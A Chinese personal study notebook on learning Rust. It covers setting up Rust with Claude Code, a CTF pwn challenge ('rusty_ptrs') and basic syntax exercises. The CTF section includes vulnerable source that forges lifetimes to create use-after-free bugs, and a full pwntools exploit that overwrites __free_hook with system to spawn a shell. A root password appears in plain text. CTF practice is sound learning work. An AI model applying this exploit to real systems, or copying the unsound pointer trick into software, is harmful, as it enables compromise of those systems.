rust入门

https://zhuanlan.zhihu.com/p/1923341606276272522

https://www.cnblogs.com/lf109/p/18974129

https://blog.csdn.net/Dontla/article/details/150591506

wsl可以移动,但是需要把wsl环境变量调整好,我没时间调整环境变量,所以我又把wsl放回到原先的文件夹下面了,呃呃呃

unset http_proxy https_proxy HTTP_PROXY HTTPS_PROXY ftp_proxy all_proxy

清一下代理,要不可能有点卡

为什么总时间(11162ms)比 12 个包 × 1 秒还长?

因为:

  • ping 默认每秒发一个包(间隔 1 秒)。
  • 但你只收到了 5 个回复,其余 7 个包丢了
  • ping 会继续等待可能的迟到回复(有一定超时机制),所以总时间可能略大于 (包数 - 1) × 1000ms
  • 此外,如果你中途按了 Ctrl+C(如第一次测试只发了 5 包就中断),总时间也会不规则。

清理代理之后依旧如此

这个题目直接给了dockerfile文件,不去搭建本地环境,直接启动docker

FROM ubuntu:20.04

# Install dependencies
# according to docker, apt isnt stable in CLI, so use apt-get.
RUN apt-get update 
RUN apt-get install -y curl socat
RUN apt-get install -y cargo
# RUN apt-get install -y python3 python3-pip
# RUN apt-get install -y nano
RUN rm -rf /var/lib/apt/lists/*

# Initialize User
RUN mkdir -p /usr/src/pwn
WORKDIR /usr/src/pwn

COPY ./rusty_ptrs_build ./rusty_ptrs
WORKDIR /usr/src/pwn/rusty_ptrs
RUN cargo b

WORKDIR /usr/src/pwn
# # Copy flag
COPY flag.txt .
RUN chmod 444 flag.txt

# # Set up pwn user
RUN adduser pwn

# Run and expose challenge
USER pwn
CMD socat -T60 TCP-LISTEN:1337,fork,reuseaddr EXEC:"/usr/src/pwn/rusty_ptrs/target/debug/rusty_ptrs"

继续让claude跑,也要时刻关注一些小报错

比如说下面的这个情况

● Bash(sudo apt update && sudo apt install -y rustc cargo) timeout: 3m 0s
  ⎿  Error: sudo: a terminal is required to read the password; either use the -S option to read from standard input or
     configure an askpass helper
     sudo: a password is required

shift+tap这个快捷键是强制推送关键词

看一下claude自我快速的总结和成长

  1. 使用root密码 zxc135135 登录root账户
  2. 配置Rust基础环境(不使用http下载,使用Ubuntu自带的包管理器安装)
  3. 写一个Hello World程序

问题分析的很好,但是拿不出来效果

● 明白了,让我先为你制定一个执行计划:

执行计划

  1. 切换到root用户
  • 使用 sudo su 命令,输入密码 zxc135135
  1. 安装Rust环境
  • 使用 Ubuntu 的 apt 包管理器安装 Rust
  • 更新包列表:apt update
  • 安装 cargo 和 rustc:apt install -y cargo rustc
  1. 验证安装
  • 检查 rustc 版本:rustc --version
  • 检查 cargo 版本:cargo --version
  1. 创建Hello World程序
  • 创建一个工作目录(例如 /root/rust_test)
  • 写入一个简单的 Rust Hello World 程序(main.rs
  • 使用 rustc 编译程序
  • 运行编译后的可执行文件

这里其实直接用root身份登录就行

  • 正在更新包列表… (esc to interrupt · ctrl+t to hide todos)
    ⎿ ☐ 更新包列表 (apt update)
    ☐ 安装 Rust (cargo 和 rustc)
    ☐ 验证 rustc 安装
    ☐ 验证 cargo 安装
    ☐ 创建工作目录 /root/rust_test
    ☐ 创建 Rust Hello World 程序
    ☐ 编译 Rust 程序
    ☐ 运行编译后的程序

最后整理出来的如下

Rust 环境搭建与 Hello World 指南

目录

  1. 安装 Rust 环境
  2. 验证安装
  3. 创建 Hello World 程序
  4. 运行现有程序

1. 安装 Rust 环境

在 Ubuntu 系统上使用 apt 包管理器安装

# 更新包列表
apt update

# 安装 cargo 和 rustc
apt install -y cargo rustc

说明

  • rustc 是 Rust 编译器
  • cargo 是 Rust 的包管理器和构建工具

2. 验证安装

安装完成后,验证 Rust 工具链是否正确安装:

# 检查 rustc 版本
rustc --version

# 检查 cargo 版本
cargo --version

预期输出示例:

rustc 1.xx.x (xxxxxxx 20xx-xx-xx)
cargo 1.xx.x (xxxxxxx 20xx-xx-xx)

3. 创建 Hello World 程序

步骤 1: 创建工作目录

# 创建工作目录
mkdir -p /root/rust_test

# 进入工作目录
cd /root/rust_test

步骤 2: 创建 Rust 源文件

创建一个名为 main.rs 的文件,内容如下:

fn main() {
    println!("Hello, World!");
}

可以使用以下命令创建文件:

cat > main.rs << 'EOF'
fn main() {
    println!("Hello, World!");
}
EOF

步骤 3: 编译程序

# 使用 rustc 编译程序
rustc main.rs

编译成功后,会生成一个名为 main 的可执行文件。

步骤 4: 运行程序

# 运行编译后的可执行文件
./main

预期输出:

Hello, World!

4. 运行现有程序

如果你已经有编译好的 Rust 程序(如本目录中的 rusty_ptrs),可以直接运行:

# 确保文件有执行权限
chmod +x rusty_ptrs

# 运行程序
./rusty_ptrs

使用指定的库文件运行

如果需要使用特定版本的动态链接库(如本目录中的 libc-2.31.so),可以使用:

# 使用指定的链接器和库运行程序
./ld-2.31.so --library-path . ./rusty_ptrs

附录:常用 Rust 命令

使用 Cargo 创建项目(推荐方式)

# 创建新项目
cargo new hello_world

# 进入项目目录
cd hello_world

# 构建项目
cargo build

# 运行项目
cargo run

# 构建发布版本(优化编译)
cargo build --release

项目结构

使用 cargo 创建的项目结构:

hello_world/
├── Cargo.toml      # 项目配置文件
└── src/
    └── main.rs     # 源代码

Cargo.toml 示例

[package]
name = "hello_world"
version = "0.1.0"
edition = "2021"

[dependencies]

故障排除

问题 1: 找不到 rustc 命令

解决方案

# 重新安装 Rust
apt update
apt install -y cargo rustc

# 或者使用 rustup(官方推荐)
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

问题 2: 权限不足

解决方案

# 给文件添加执行权限
chmod +x your_program

# 或使用 root 权限
sudo ./your_program

问题 3: 动态链接库错误

解决方案

# 查看程序依赖的库
ldd ./your_program

# 设置 LD_LIBRARY_PATH 环境变量
export LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH
./your_program

参考资源

题目源码


use std::io::{stdin, stdout, Write, Read};
use std::{io, mem, process};

const LEN: usize = 64;
const LEN2: usize = 2000;
const LEN3: usize = 80;

type RulesT = Vec<&'static mut [u8; LEN]>;
type NotesT = Vec<Box<[u8; LEN]>>;
type LawsT = Vec<Box<[u8; LEN3]>>;

fn main() {
	let mut rules: RulesT = Vec::new();
	let mut notes: NotesT = Vec::new();
    loop {
        menu();
        prompt();
        let mut choice = String::new();
        io::stdin()
            .read_line(&mut choice)
            .expect("failed to read input.");
		if choice.is_empty() {
			continue;
		}
        let choice: i32 = choice.trim().parse().expect("invalid input");

        match choice {
			1 => handle_create(&mut rules, &mut notes),
			2 => handle_delete(&mut rules, &mut notes),
			3 => handle_read(&mut rules, &mut notes),
			4 => handle_edit(&mut rules, &mut notes),
			5 => make_law(),
            6 => {
                println!("Bye!");
                process::exit(0);
            },
            _ => println!("Invalid choice!"),
		}
	}
}

fn menu() {
	println!("1. Create a Rule or Note");
	println!("2. Delete a Rule or Note");
	println!("3. Read a Rule or Note");
	println!("4. Edit a Rule or Note");
	println!("5. Make a Law");
	println!("6. Exit");
}

fn submenu(){
	println!("1. Rules");
	println!("2. Notes");
}

#[inline(never)]
fn prompt() {
    print!("> ");
    io::stdout().flush().unwrap();
}

#[inline(never)]
fn get_rule() -> &'static mut [u8; LEN] {
	let mut buffer = Box::new([0; LEN]);
	return get_ptr(&mut buffer);
}

#[inline(never)]
fn get_law() -> &'static mut [u8; LEN2] {
	let mut buffer = Box::new([0; LEN2]);
	let mut _buffer2 = Box::new([0; 16]);
	return get_ptr(&mut buffer);
}

#[inline(never)]
fn get_note() -> Box<[u8; LEN]>{
	return Box::new([0; LEN])
}

const S: &&() = &&();
#[inline(never)]
fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
	fn ident<'a, 'b, T: ?Sized>(
        _val_a: &'a &'b (),
        val_b: &'b mut T,
	) -> &'a mut T {
			val_b
	}
	let f: fn(_, &'a mut T) -> &'b mut T = ident;
	f(S, x)
}

fn read_buf(buf: [u8; LEN]) {
	println!("Contents of Buffer: \n{buf:?}");
	let v1: i64 = i64::from_le_bytes(buf[0..8].try_into().unwrap());
	let v2: i64 = i64::from_le_bytes(buf[8..16].try_into().unwrap());
	println!("{:#08x}, {:#08x}", v1, v2);
}

fn edit_buf(buf: &mut [u8; LEN]){
	println!("Send up to 64 bytes.");
	prompt();
	let stdin = io::stdin();
	let mut handle = stdin.lock();
	let _ = handle.read(buf);
	io::stdout().flush().unwrap();
}

fn create_rule(rules: &mut RulesT){
	let buf = get_rule();
	rules.push(buf);
	println!("Rule Created!");
}

fn create_note(notes: &mut NotesT){
	let buf = get_note();
	notes.push(buf);
	println!("Note Created!");
}

fn make_law(){
	let bufa = Box::new([b'\0'; LEN2]);
	let _bufb = Box::new([b'\0'; LEN2]);
	std::mem::drop(bufa);
	let buf: &mut [u8; 2000] = get_law();
	let v1: i64 = i64::from_le_bytes(buf[0..8].try_into().unwrap());
	let v2: i64 = i64::from_le_bytes(buf[8..16].try_into().unwrap());
	println!("{:#08x}, {:#08x}", v1, v2);
}

fn delete_rule(rules: &mut RulesT){
	println!("Which Rule? ");
	prompt();
	let mut choice = String::new();
	io::stdin()
		.read_line(&mut choice)
		.expect("faled to read input");
	let choice: usize = choice.trim().parse().expect("invalid input");

	if choice >= rules.len() {
		println!("OOB!");
	} else {
		rules.remove(choice);
	}
	println!("Rule Removed!");
}

fn delete_note(notes: &mut NotesT){
	println!("Which Note? ");
	prompt();
	let mut choice = String::new();
	io::stdin()
		.read_line(&mut choice)
		.expect("faled to read input");
	let choice: usize = choice.trim().parse().expect("invalid input");

	if choice >= notes.len() {
		println!("OOB!");
	} else {
		notes.remove(choice);
	}
	println!("Note Deleted!");
}

fn read_rule(rules: &mut RulesT){
	println!("Which Rule? ");
	prompt();
	let mut choice = String::new();
	io::stdin()
		.read_line(&mut choice)
		.expect("faled to read input");
	let choice: usize = choice.trim().parse().expect("invalid input");

	if choice >= rules.len() {
		println!("OOB!");
	} else {
		read_buf(*rules[choice]);
	}
}

fn read_note(notes: &mut NotesT){
	println!("Which Note? ");
	prompt();
	let mut choice = String::new();
	io::stdin()
		.read_line(&mut choice)
		.expect("faled to read input");
	let choice: usize = choice.trim().parse().expect("invalid input");

	if choice >= notes.len() {
		println!("OOB!");
	} else {
		read_buf(*notes[choice]);
	}
}

fn edit_rule(rules: &mut RulesT){
	println!("Which Rule? ");
	prompt();
	let mut choice = String::new();
	io::stdin()
		.read_line(&mut choice)
		.expect("faled to read input");
	let choice: usize = choice.trim().parse().expect("invalid input");

	if choice >= rules.len() {
		println!("OOB!");
	} else {
		edit_buf(&mut rules[choice]);
	}
}

fn edit_note(notes: &mut NotesT){
	println!("Which Note? ");
	prompt();
	let mut choice = String::new();
	io::stdin()
		.read_line(&mut choice)
		.expect("faled to read input");
	let choice: usize = choice.trim().parse().expect("invalid input");

	if choice >= notes.len() {
		println!("OOB!");
	} else {
		edit_buf(&mut notes[choice]);
	}
}

fn handle_create(rules: &mut RulesT, notes: &mut NotesT) {
	submenu();
	prompt();
	let mut choice = String::new();
	io::stdin()
		.read_line(&mut choice)
		.expect("failed to read input.");
	let choice: i32 = choice.trim().parse().expect("invalid input");

	match choice {
		1 => create_rule(rules),
		2 => create_note(notes),
		_ => println!("Invalid Choice!")
	}	
}

fn handle_edit(rules: &mut RulesT, notes: &mut NotesT) {
	submenu();
	prompt();
	let mut choice = String::new();
	io::stdin()
		.read_line(&mut choice)
		.expect("failed to read input.");
	let choice: i32 = choice.trim().parse().expect("invalid input");

	match choice {
		1 => edit_rule(rules),
		2 => edit_note(notes),
		_ => println!("Invalid Choice!")
	}
}

fn handle_delete(rules: &mut RulesT, notes: &mut NotesT) {
	submenu();
	prompt();
	let mut choice = String::new();
	io::stdin()
		.read_line(&mut choice)
		.expect("failed to read input.");
	let choice: i32 = choice.trim().parse().expect("invalid input");

	match choice {
		1 => delete_rule(rules),
		2 => delete_note(notes),
		_ => println!("Invalid Choice!")
	}		
}

fn handle_read(rules: &mut RulesT, notes: &mut NotesT) {
	submenu();
	prompt();
	let mut choice = String::new();
	io::stdin()
		.read_line(&mut choice)
		.expect("failed to read input.");
	let choice: i32 = choice.trim().parse().expect("invalid input");

	match choice {
		1 => read_rule(rules),
		2 => read_note(notes),
		_ => println!("Invalid Choice!")
	}		
}

核心问题:get_rule() 和 get_ptr() 制造了悬垂引

1. 看这个函数:

#[inline(never)]
fn get_rule() -> &'static mut [u8; LEN] {
    let mut buffer = Box::new([0; LEN]); // ← 在栈上创建一个 Box(堆分配)
    return get_ptr(&mut buffer);         // ← 传入 &mut buffer(局部变量!)
}
  • buffer 是一个 局部变量,生命周期仅限于 get_rule 函数内部。
  • 当函数返回时,buffer 被销毁(Box 的析构函数释放堆内存)。
  • 但你却通过 get_ptr(&mut buffer) 返回了一个指向这块已释放内存的引用!

这已经是一个典型的 use-after-free(UAF),即悬垂指针


2. get_ptr 是如何绕过 Rust 借用检查的?

const S: &&() = &&();
#[inline(never)]
fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
    fn ident<'a, 'b, T: ?Sized>(
        _val_a: &'a &'b (),
        val_b: &'b mut T,
    ) -> &'a mut T {
        val_b
    }
    let f: fn(_, &'a mut T) -> &'b mut T = ident;
    f(S, x)
}

这是一个经典的 “生命周期伪造” hack,利用了:

  • 一个全局常量 S: &&(),其生命周期是 'static
  • 通过高阶函数签名混淆,让编译器误以为返回的引用可以具有任意生命周期(包括 'static);
  • 实际上,x 是一个短生命周期的局部引用,却被强制“延长”为 'static

✅ 这种技巧常见于 CTF 题、Rust 安全研究或恶意代码中,不是合法的安全 Rust 用法。

❌ 它绕过了 Rust 的借用检查器,制造了未定义行为(UB)。


3. 后果:rules 中存储的是悬垂引用

type RulesT = Vec<&'static mut [u8; LEN]>;

fn create_rule(rules: &mut RulesT){
    let buf = get_rule(); // ← 返回一个指向已释放内存的 &'static mut [u8; LEN]
    rules.push(buf);      // ← 把悬垂引用存进 Vec
}
  • 此时 rules 中保存的是一个 指向已释放堆内存的引用
  • 后续任何对 rules[i] 的读写(如 read_ruleedit_rule)都是 访问非法内存
  • 程序可能:
    • 崩溃(segmentation fault)
    • 读到垃圾数据
    • 被攻击者利用(如果可控制输入)

4. make_law() 也存在同样问题

make_law(){
    let bufa = Box::new([b'\0'; LEN2]);
    let _bufb = Box::new([b'\0'; LEN2]);
    std::mem::drop(bufa); // ← 显式释放 bufa
    let buf: &mut [u8; 2000] = get_law(); // ← get_law 内部又用 get_ptr 返回悬垂引用!
    // ... 使用 buf → UB!
}
  • get_law() 内部也调用了 get_ptr(&mut local_box),返回悬垂引用。
  • 更糟的是,前面还 drop(bufa),加剧了内存重用风险。

选项五存在的问题

let v1: i64 = i64::from_le_bytes(buf[0..8].try_into().unwrap());
	let v2: i64 = i64::from_le_bytes(buf[8..16].try_into().unwrap());
	println!("{:#08x}, {:#08x}", v1, v2);

  • 从这块“悬垂”内存的前 16 字节中,解读出两个 i64 整数,并以十六进制打印。

RUST题解

今天的话来复习一下rust这个题目,上周开了组会了解到这个是2022CVE的漏洞,前一段时间看这个题感觉难度很大,大体了解了一下这个rust编译和运行,今天用一天大体把这个题目做出来试试

今天用wsl2去做一下这个题目

我们先看一下主函数,分析一下如何去写交互

fn main() {
    let mut rules: RulesT = Vec::new();//rules类型为 RulesT(应为某种规则集合的类型别名,很可能是 Vec<Rule> 或类似构)。
    let mut notes: NotesT = Vec::new();//notes:类型为 NotesT(同理,可能是 Vec<Note>)。
    loop {  //无限循环
        menu();
        prompt();
        let mut choice = String::new(); //空的 String 变量 choice
        io::stdin()
            .read_line(&mut choice)
            .expect("failed to read input.");
        if choice.is_empty() {
            continue;
        }
        let choice: i32 = choice.trim().parse().expect("invalid input");  //.trim():去除首尾空白(包括换行符 \n)。
                                                                    //.parse():尝试将字符串解析为 i32 整数。

        match choice {
            1 => handle_create(&mut rules, &mut notes),
            2 => handle_delete(&mut rules, &mut notes),
            3 => handle_read(&mut rules, &mut notes),
            4 => handle_edit(&mut rules, &mut notes),
            5 => make_law(),
            6 => {
                println!("Bye!");
                process::exit(0);
            },
            _ => println!("Invalid choice!"),
        }
    }
}

然后我们再看一下这里choice决定的跳转create函数,去看一下怎么去写交互

这里的话又是一个选择分支,一个是创造rules,一个是创造notes

fn handle_create(rules: &mut RulesT, notes: &mut NotesT) {
    submenu();
    prompt();
    let mut choice = String::new();
    io::stdin()
        .read_line(&mut choice)
        .expect("failed to read input.");
    let choice: i32 = choice.trim().parse().expect("invalid input");

    match choice {
        1 => create_rule(rules),
        2 => create_note(notes),
        _ => println!("Invalid Choice!")
    }
}

然后我们继续跟进去看一下,继续一个函数的封装

fn create_rule(rules: &mut RulesT){
    let buf = get_rule();
    rules.push(buf);
    println!("Rule Created!");
}
fn create_note(notes: &mut NotesT){
    let buf = get_note();
    notes.push(buf);
    println!("Note Created!");
}

最后追踪到这里就结束了

#[inline(never)]
fn get_rule() -> &'static mut [u8; LEN] {
    let mut buffer = Box::new([0; LEN]);
    return get_ptr(&mut buffer);
}

#[inline(never)]
fn get_law() -> &'static mut [u8; LEN2] {
    let mut buffer = Box::new([0; LEN2]);
    let mut _buffer2 = Box::new([0; 16]);
    return get_ptr(&mut buffer);
}

#[inline(never)]
fn get_note() -> Box<[u8; LEN]>{
    return Box::new([0; LEN])
}

也就是最后的这里

const S: &&() = &&();
#[inline(never)]
fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
    fn ident<'a, 'b, T: ?Sized>(
        _val_a: &'a &'b (),
        val_b: &'b mut T,
    ) -> &'a mut T {
            val_b
    }
    let f: fn(_, &'a mut T) -> &'b mut T = ident;
    f(S, x)
}

再去看一下delete函数,只看上面的那一个不够看

fn delete_rule(rules: &mut RulesT){
    println!("Which Rule? ");
    prompt();
    let mut choice = String::new();
    io::stdin()
        .read_line(&mut choice)
        .expect("faled to read input");
    let choice: usize = choice.trim().parse().expect("invalid input");

    if choice >= rules.len() {
        println!("OOB!");
    } else {
        rules.remove(choice);
    }
    println!("Rule Removed!");
}

最后的exp

from pwn import *
context.binary = ELF("./rusty_ptrs")
io = gdb.debug("./rusty_ptrs")
#io = remote("127.0.0.1", 1337)
#gdb.attach(target=("127.0.0.1", 12345), gdbscript="target remote 127.0.0.1:12345")
#pause()
#io = process("./rusty_ptrs")
elf = ELF("./rusty_ptrs")
libc = elf.libc

def menu(idx):
    io.sendlineafter(b"Exit\n> ", str(idx).encode())
    return

def add(type):
    menu(1)
    io.sendlineafter(b"Notes\n> ", str(type).encode())
    return

def free(type, idx):
    menu(2)
    io.sendlineafter(b"Notes\n> ", str(type).encode())
    io.sendlineafter(b"? \n> ", str(idx).encode())
    return

def show(type, idx):
    menu(3)
    io.sendlineafter(b"Notes\n> ", str(type).encode())
    io.sendlineafter(b"? \n> ", str(idx).encode())
    return

def edit(type, idx, content):
    menu(4)
    io.sendlineafter(b"Notes\n> ", str(type).encode())
    io.sendlineafter(b"? \n> ", str(idx).encode())
    io.sendafter(b".\n> ", content)
    return

def make_law():
    menu(5)
    return

def exit():
    menu(6)
    return

# leak libc
make_law()
libc.address = int(io.recvuntil(b", ", drop=True), 16) - 0x1ecbe0
print("libc.address-> ", hex(libc.address))

# leak heap
#add(1)
#show(1, 0)
#io.recvuntil(b"]\n")
#heap_base_xor = int(io.recv(11), 16) - 1
#print("xor-> ", hex(heap_base_xor))
#free(1, 0)

# chunk fengshui
add(2)
add(2)
add(2)
free(2, 0)
free(2, 0)
# malloc & edit free hook
free_hook = libc.sym["__free_hook"]
add(1)
#edit(1, 0, p64(free_hook ^ heap_base_xor))
edit(1, 0, p64(free_hook))

system = libc.sym["system"]
add(2)
add(2)
edit(2, 2, p64(system))
add(2)
edit(2, 1, b"/bin/sh\x00")

free(2, 1)

print("free_hook -> ", hex(free_hook))
print("system -> ", hex(system))
io.interactive()

元组使用方法

fn main() {

    let abc: (f32, f32, f32) = (0.1, 0.2, 0.3);

    let xyz: (f64, f64, f64) = (0.1, 0.2, 0.3);

    println!("abc (f32)");

    println!("   0.1 + 0.2: {:x}", (abc.0 + abc.1).to_bits());

    println!("         0.3: {:x}", (abc.2).to_bits());

    println!();

    println!("xyz (f64)");

    println!("   0.1 + 0.2: {:x}", (xyz.0 + xyz.1).to_bits());

    println!("         0.3: {:x}", (xyz.2).to_bits());

    println!();

    assert!(abc.0 + abc.1 == abc.2);

    assert!(xyz.0 + xyz.1 == xyz.2);

}

数组使用方法

fn main() {

  // 编译器会进行自动推导,给予twenty i32的类型

  let twenty = 20;

  // 类型标注

  let twenty_one: i32 = 21;

  // 通过类型后缀的方式进行类型标注:22是i32类型

  let twenty_two = 22i32;

  // 只有同样类型,才能运算

  let addition = twenty + twenty_one + twenty_two;

  println!("{} + {} + {} = {}", twenty, twenty_one, twenty_two, addition);

  // 对于较长的数字,可以用_进行分割,提升可读性

  let one_million: i64 = 1_000_000;

  println!("{}", one_million.pow(2));

  // 定义一个f32数组,其中42.0会自动被推导为f32类型

  let forty_twos = [

    42.0,

    42f32,

    42.0_f32,

  ];

  // 打印数组中第一个值,并控制小数位为2位

  println!("{:.2}", forty_twos[0]);

  println!("{:.2}", forty_twos[1]);

}

函数声明

fn type_of<T>(_: &T) -> String {

    format!("{}", std::any::type_name::<T>())

}
  1. <T>表示让编译器决定一个类型,把类型名叫T
  2. _ : &T _ 表示只是要知道参数类型,不使用,&表示借用T类型,不是获取所有权。
  3. String 表示返回值类型

fn main() {

    let x = 5;

    assert_eq!("i32".to_string(), type_of(&x));

}

// 以下函数可以获取传入参数的类型,并返回类型的字符串形式

fn type_of<T>(_: &T) -> String {

    format!("{}", std::any::type_name::<T>())

}
  1. .to_string()转换为string类型
  2. format! 是一个,用于创建格式化的 String
  3. std::any::type_name::<T>() 获取T类型的类型名称

数值类型

整数类型

长度 有符号类型 无符号类型
8 位 i8 u8
16 位 i16 u16
32 位 i32 u32
64 位 i64 u64
128 位 i128 u128
视架构而定 isize usize

rust默认为i32类型

fn main(){
    let a = 1;
    println!("{}",a);
    let twenty_two = 22i32;
}

浮点类型

主要有两种类型f32f64

永远不要直接用浮点数进行对比。

fn main() {
    let abc: (f32, f32, f32) = (0.1, 0.2, 0.3);
    let xyz: (f64, f64, f64) = (0.1, 0.2, 0.3);

    println!("abc (f32)");
    println!("   0.1 + 0.2: {:x}", (abc.0 + abc.1).to_bits());
    println!("         0.3: {:x}", (abc.2).to_bits());
    println!();

    println!("xyz (f64)");
    println!("   0.1 + 0.2: {:x}", (xyz.0 + xyz.1).to_bits());
    println!("         0.3: {:x}", (xyz.2).to_bits());
    println!();

    assert!(abc.0 + abc.1 == abc.2);
    assert!(xyz.0 + xyz.1 == xyz.2);
}

超过精度了。

  1. .to_bits() 方法
  • 将浮点数转换为原始的位表示(十六进制)
  • 可以看到浮点数在内存中的真实存储
  1. {:x} 格式化
  • 以十六进制格式打印数字

数学运算

fn main() {
  // 编译器会进行自动推导,给予twenty i32的类型
  let twenty = 20;
  // 类型标注
  let twenty_one: i32 = 21;
  // 通过类型后缀的方式进行类型标注:22是i32类型
  let twenty_two = 22i32;

  // 只有同样类型,才能运算
  let addition = twenty + twenty_one + twenty_two;
  println!("{} + {} + {} = {}", twenty, twenty_one, twenty_two, addition);

  // 对于较长的数字,可以用_进行分割,提升可读性
  let one_million: i64 = 1_000_000;
  println!("{}", one_million.pow(2));

  // 定义一个f32数组,其中42.0会自动被推导为f32类型
  let forty_twos = [
    42.0,
    42f32,
    42.0_f32,
  ];

  // 打印数组中第一个值,并控制小数位为2位
  println!("{:.2}", forty_twos[0]);
    }
  // 对于较长的数字,可以用_进行分割,提升可读性

  let one_million: i64 = 1_000_000;

  println!("{}", one_million.pow(2));
  • _ 可以用来分隔数字,提高可读性(类似千分位)
  • .pow(2) 是求平方

位运算

fn main() {
    // 无符号8位整数,二进制为00000010
    let a: u8 = 2; // 也可以写 let a: u8 = 0b_0000_0010;

    // 二进制为00000011
    let b: u8 = 3;

    // {:08b}:左高右低输出二进制01,不足8位则高位补0
    println!("a value is        {:08b}", a);

    println!("b value is        {:08b}", b);

    println!("(a & b) value is  {:08b}", a & b);

    println!("(a | b) value is  {:08b}", a | b);

    println!("(a ^ b) value is  {:08b}", a ^ b);

    println!("(!b) value is     {:08b}", !b);

    println!("(a << b) value is {:08b}", a << b);

    println!("(a >> b) value is {:08b}", a >> b);

    let mut a = a;
    // 注意这些计算符除了!之外都可以加上=进行赋值 (因为!=要用来判断不等于)
    a <<= b;
    println!("(a << b) value is {:08b}", a);
}
println!("a value is {:08b}", a);

//                   ^^^^

//                   |└─ b = 二进制

//                   └── 08 = 总共8位,不足补0

序列

fn main() {

    println!("=== 1..5 (不包含5) ===");

    for i in 1..5 {

        println!("{}", i);

    }

    println!("\n=== 1..=5 (包含5) ===");

    for i in 1..=5 {

        println!("{}", i);

    }

    println!("\n=== 倒序遍历 ===");

    for i in (1..=5).rev() {

        println!("{}", i);

    }

    println!("\n=== 带索引遍历数组 ===");

    let fruits = ["apple", "banana", "cherry"];

    for (index, fruit) in fruits.iter().enumerate() {

        println!("{}: {}", index, fruit);

    }

    println!("\n=== 步长为2 ===");

    for i in (0..10).step_by(2) {

        println!("{}", i);

    }

}

倒序

for i in (1..=5).rev() {

    // 5, 4, 3, 2, 1

}

带索引遍历

for (index, value) in array.iter().enumerate() {

    // 同时获取索引和值

}

自定义步长

for i in (0..10).step_by(2) {

    // 0, 2, 4, 6, 8

}

AS类型转换

fn main() {
   let a = 3.1 as i8;
   let b = 100_i8 as i32;
   let c = 'a' as u8; // 将字符'a'转换为整数,97

   println!("{},{},{}",a,b,c)
}

字符、布尔、单元类型

fn main()
{
    let x = '中';
    println!("字符'中'占用了{}字节的内存大小", size_of_val(&x));
}
fn main() {
    let t = true;
    let f: bool = false; // 使用类型标注,显式指定f的类型
    if f {
        println!("这是段毫无意义的代码");
    }
}
// 修改2处 `assert_eq!` 让代码工作

use std::mem::size_of_val;
fn main() {
    let c1 = 'a';
    assert_eq!(size_of_val(&c1),1);

    let c2 = '中';
    assert_eq!(size_of_val(&c2),3);

    println!("Success!");
}
// 正确代码
use std::mem::size_of_val;
fn main() {
    let c1 = 'a';
    assert_eq!(size_of_val(&c1),4);

    let c2 = '中';
    assert_eq!(size_of_val(&c2),4);

    println!("Success!");

  1. assert_eq!为断言,断言两个函数表达式是否相等,不相等则panic(崩溃)程序
  2. std::mem::size_of_val计算获取值实际的所占字节数
  3. char 类型是统一的 4 字节 Unicode 标量值
// 使成功打印
fn main() {
    let _f: bool = false;

    let t = true;
    if !t {
        println!("Success!")
    }
// 正确代码
// 使成功打印
fn main() {
    let _f: bool = false;

    let t = false;
    if !t {
        println!("Success!")
    }

fn main() {

    let f = true;

    let t = true && false;

    assert_eq!(t, f);

    println!("Success!")

}
// 正确代码
fn main() {

    let f = true;

    let t = true && true;

    assert_eq!(t, f);

    println!("Success!")

}

// 让代码工作,但不要修改 `implicitly_ret_unit` !
fn main() {
    let _v: () = ();

    let v = (2, 3);
    assert_eq!(v, implicitly_ret_unit());

    println!("Success!")
}

fn implicitly_ret_unit() {
    println!("I will return a ()")
}

// 不要使用下面的函数,它只用于演示!
fn explicitly_ret_unit() -> () {
    println!("I will return a ()")
}
// 正确代码

// 让代码工作,但不要修改 `implicitly_ret_unit` !
fn main() {
    let _v: () = ();

    let v = ();//因为要比较的是无数据单元类型
    assert_eq!(v, implicitly_ret_unit());

    println!("Success!")
}

fn implicitly_ret_unit() -> () { //养成给返回值类型的习惯。
    println!("I will return a ()")
}

// 不要使用下面的函数,它只用于演示!
fn explicitly_ret_unit() -> () {
    println!("I will return a ()")
}
}

语句和表达式

fn main() {
    let y = {
        let x = 3;
        x + 1  //这里可以的主要原因是x+1为表达式,可赋值给变量
    };

    println!("The value of y is: {}", y);
//表达式结尾不可有分号,语句结尾有分号。
}

fn main() {

    assert_eq!(ret_unit_type(), ())

}

fn ret_unit_type(){

    let x = 1;

    // if 语句块也是一个表达式,因此可以用于赋值,也可以直接返回

    // 类似三元运算符,在Rust里我们可以这样写

    let y = if x % 2 == 1 {

        "odd"

    } else {

        "even"

    };

}//当函数没有显式返回时,默认返回uint类型: () , 表达式也是显式返回

函数

fn add_sub(a: i32, b: i32) -> i32 {

    if a > b {

        return a - b

    }

    a + b

}

fn main() {

    let result1 = add_sub(10, 5);

    let result2 = add_sub(3, 7);

    println!("Result 1: {}", result1); // Should print 5

    println!("Result 2: {}", result2); // Should print 10

}
fn add(x:u32,y:u32) -> u32 {
    x + y;
}
//这个函数需要返回u32,但是由于;把表达式转为了语句,只返回uint : () , 导致报错。
fn dead_end() -> ! {
  panic!("你已经到了穷途末路,崩溃吧!");
}
// 永不返回的发散函数。

不可变变量

fn main(){
    let a = 1;
    println!("{}",a);
}

当a被赋值后就不允许直接修改了,只能重新声明。但是这样有个好处,同一个变量名可以在不同数据类型之间直接转换。

可变变量

fn main(){
    let mut a = 1;
    println!("{}",a);
    a = 5;
}

a可以被重复赋值,不需要重新声明,但是只运行同数据类型赋值。

结构体

struct Test {

    a: i32,

    b: i32

}

fn main() {

    let (a, b, c, d, e, f);

    (a, b) = (1, 2);

    [c, .., d, _] = [3, 4, 5, 6, 7]; //从右往左赋值

    Test {a: e, b: f} = Test {a: 7, b: 8};

    println!("a = {}, b = {}", a, b);

    println!("c = {}, d = {}", c, d);

    println!("e = {}, f = {}", e, f);

}
  1. ..表示不需要,占位
  2. _ 也是只是占位
  3. Test {a: e, b: f} = Test {a: 7, b: 8}; ,结构体 {字段名: 变量名} = 结构体实例,如果字段名和变量名相同可以省略
struct Struct {

    e: i32

}

fn main() {

    let (a, b, c, d, e);

    (a, b) = (1, 2);

    // _ 代表匹配一个值,但是我们不关心具体的值是什么,因此没有使用一个变量名而是使用了 _

    [c, .., d, _] = [1, 2, 3, 4, 5];

    Struct { e, .. } = Struct { e: 5 };

